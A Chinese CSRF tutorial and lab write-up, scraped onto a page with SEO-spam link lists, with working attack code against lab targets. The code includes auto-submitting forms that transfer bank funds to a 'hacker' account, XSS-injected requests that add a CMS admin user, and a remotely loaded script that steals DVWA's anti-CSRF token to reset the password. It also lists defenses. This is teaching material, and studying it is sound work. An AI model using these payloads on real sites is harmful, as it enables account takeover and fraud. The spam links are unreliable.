当前位置: 首页 > news >正文

如何建设网站主页和其他相关页面电商网站建设哪家好

如何建设网站主页和其他相关页面,电商网站建设哪家好,小米盒子做网站,一些简单的代码跨站请求伪造csrf csrf概述 掌握CSRF 漏洞原理 掌握CSRF 漏洞场景 掌握CSRF 漏洞验证 csrf原理 ​ 跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程…

跨站请求伪造csrf

csrf概述

  • 掌握CSRF 漏洞原理

  • 掌握CSRF 漏洞场景

  • 掌握CSRF 漏洞验证

csrf原理

​ 跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

​ 借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF 攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF 攻击会危及整个Web 应用程序。

关键点
  • 受害者没有退出登录,受害者保持身份认证。

  • CSRF 继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。

  • CSRF 会借用浏览器中与站点关联的所有身份凭据,例如用户的会话Cookie,IP 地址,Windows 域凭据等。

目标

​ CSRF 的目标是更改用户账户的状态,攻击者利用CSRF 发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。

​ CSRF 的场景中,攻击者是没有办法获得服务器的响应。

csrf场景

银行账户转账

搭建模拟银行网站 http://10.4.7.130/bank/

image-20231113103010207

构造虚假网站

构造CSRF 攻击连接

<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://10.4.7.130/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='宝刀在手,谁与争锋'>
  • 攻击者通过 标签构造GET 请求。

  • 浏览器根据 标签中的 SRC 属性,请求服务器资源,会自动带上身份认证信息

场景建模

image-20231113103204599

起初admin用户账户余额70499

image-20231113104724450

使用hello用户向admin用户转账1元

image-20231113104803295

再次查看admin用户余额,增加一元,由此可见功能正常

image-20231113104853923

开始csrf

构造跳转网页及功能实现

get请求csrf

<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://10.4.7.164/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='宝刀在手,谁与争锋'>

post请求csrf

<meta charset='utf-8'>
<form name='csrf' action='http://10.4.7.164/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

首页

<meta charset='utf-8'>
<img src='./1.jpg'><br />
<a href='get.html' style='color:red;font-size:100px'>屠龙宝刀,点击就送 通道一</a><br />
<a href='post.html' style='color:red;font-size:100px'>屠龙宝刀,点击就送 通道二</a><br />

此处路径即为

http://10.4.7.164/csrf/

image-20231113105344541

用户访问该连接其中一个就会向hacker转账100

image-20231113105712168

image-20231113105854391

CSRF类别

以上场景中完成转账的关键操作是GET 请求。把转账操作改用POST 请求,是不是就能够防御CSRF 漏洞了呢?

post方式
<meta charset='utf-8'>
<form name='csrf' action='http://10.4.7.130/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>宝刀在手,谁与争锋</a><br />

csrf验证

Burp Suite 自带插件,可以根据请求构造表单,进行CSRF 漏洞验证

右键即可点击可构造poc

image-20231113112138515

image-20231113112207437

点击该poc之前余额如图

image-20231113112416509

点击后

image-20231113112431661

触发成功

csrf攻防

CSRF 实战

与XSS漏洞相结合

攻击者可以利用XSS 触发CSRF 攻击。因为,可以利用JS 发送HTTP 请求。经过研究受害网站的业务流程,可以构造如下代码:

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.1/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=ajest&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7
&userid=0");
</script>
cms_csrf

登录cms后台,管理员账户空

image-20231113112721300

使用csrf新增一个管理员用户

新增用户处抓包构造一个csrf

image-20231113112834625

<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://10.4.7.167/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=order&password=123&password2=123&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>

写入留言板,利用xss

image-20231113114217048

等待管理员访问留言板

随后添加成功

image-20231113141447572

CSRF 防御

无效防御

使用秘密的Cookie。

仅接收POST 请求。

多步交易:多步交易,有可能会被恶意攻击者预测。

URL 重写:用户的身份信息会暴露在URL 中,不建议通过引入另外一个漏洞来解决当前漏洞。

HTTPS:所有安全机制的前提。

有效防御

验证Referer 字段:

  • 前URL 的上一个URL;

  • 转账页面到转账操作;

  • 伪造?

添加Token 验证:

image-20231113103621215

二次验证:在关键操作之前,再输入密码或者验证码。

HttpOnly:某些情况下禁止JS 脚本访问Cookie 信息。

SameSite:Cookie 属性,浏览器自带安全机制。

扩展1-dvwa_csrf

low

抓包看看参数

image-20231113142038571

构造一个csrf链接

http://10.4.7.167/dvwa_2.0.1/vulnerabilities/csrf/?password_new=123456789&password_conf=123456789&Change=Change

访问该链接,修改密码成功

image-20231113142212675

medium

源码

<?phpif( isset( $_GET[ 'Change' ] ) ) {// Checks to see where the request came fromif( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {// Get input$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];// Do the passwords match?if( $pass_new == $pass_conf ) {// They do!$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );// Update the database$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Feedback for the userecho "<pre>Password Changed.</pre>";}else {// Issue with passwords matchingecho "<pre>Passwords did not match.</pre>";}}else {// Didn't come from a trusted sourceecho "<pre>That request didn't look correct.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}?> 

以下操作需要使用ie浏览器,且为三台不同的虚拟机

换另一台虚拟机10.9.47.217

写一个img标签,将url放进去

<img src="http://10.9.47.221/dvwa_2.0.1/vulnerabilities/csrf/?password_new=asd&password_conf=asd&Change=Change">

然后将该html文件名命名为10.9.47.221.html 因为会检查refer中有没有servername,文件名中包含也算,然后去除了这两台虚拟机之外的另外一台虚拟机

先访问221的的dvwa靶场,然后访问217的修改密码的html文件,登出过后会发现密码已经修改

以上为非本地靶场操作

本地搭建靶场直接抓包修改或者构造一个简单的img直接访问即可

high

<?php if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_new  = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); 
} // Generate Anti-CSRF token 
generateSessionToken(); ?> 

触发url

http://10.9.47.221/dvwa_2.0.1/vulnerabilities/xss_d/?default=English#<script src="http://10.9.47.217/csrf.js"></script>

将此脚本写成js文件

alert(document.cookie);
var theurl="http://10.9.47.221/dvwa_2.0.1/vulnerabilities/csrf/";
if(window.XMLHttpRequest){xmlhttp=new XMLHttpRequest();
}else{xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.onreadystatechange=function(){if (xmlhttp.readyState==4 && xmlhttp.status==200){var text = xmlhttp.responseText;var regex = /user_token\' value\=\'(.*?)\' \/\>/;var match = text.match(regex);console.log(match);alert(match[1]);var token = match[1];var new_url = "http://10.9.47.221/dvwa_2.0.1/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change&user_token="+token;if(count==0){count++;xmlhttp.open("GET",new_url,false);xmlhttp.send();}}
}
xmlhttp.open("GET",theurl,false);
xmlhttp.send();
# 其中ip为靶场的ip将该脚本文件放到非靶场位置的虚拟机也可成功修改密码,依托于dom型的xss完成,如果写成html访问会受到同源策略的影响
http://www.shuangfujiaoyu.com/news/45120.html

相关文章:

  • wordpress修改发帖时间优化网站推广
  • 网站策划工资一般多少舆情报告
  • 58同城网招聘招聘seo自动排名软件
  • 上海中学门户网站登陆长治seo顾问
  • 信息网站设计方案今天的新闻联播
  • 青岛专业网站建设seo怎么优化排名
  • 做郑州的购物网站用什么名竞价托管
  • 整形医院网站建设成都seo工程师
  • 做酒店网站所用到的算法成都网站优化seo
  • 全国高校校园网站联盟建设品牌营销策划十大要点
  • 贵州 政府网站建设规范seo排名赚能赚钱吗
  • wordpress 2栏主题seo策略主要包括
  • 专业网站运营托管百度资源提交
  • 小型企业网站建设旅游景点网论文新平台推广赚钱
  • 河北省网站备案网络营销品牌公司
  • 网站建设模板一次收费微信管理助手
  • 湖南省建设银行网站6互联网运营自学课程
  • 欧 美 做 爱 视频网站哪个浏览器不屏蔽网站
  • 首饰网站建设策划案句容市网站seo优化排名
  • seo整站优化服务抖音搜索优化
  • 手机网站制作与建设网站关键词优化报价
  • 建站公司哪家做出来的网站好国际新闻直播
  • 多用户版商城系统信息流优化师面试常见问题
  • 网站开发视频教程百度云做营销怎样才能吸引客户
  • 哪些网站是用响应式做的seo网站优化价格
  • 做设计网站的工作内容深圳网络营销外包公司推荐
  • 亦庄网站开发百度关键词推广多少钱
  • 印章生成器网站优化方案怎么写
  • 台州建设网站如何做好产品网络推广
  • 人力资源六大模块中国网络优化公司排名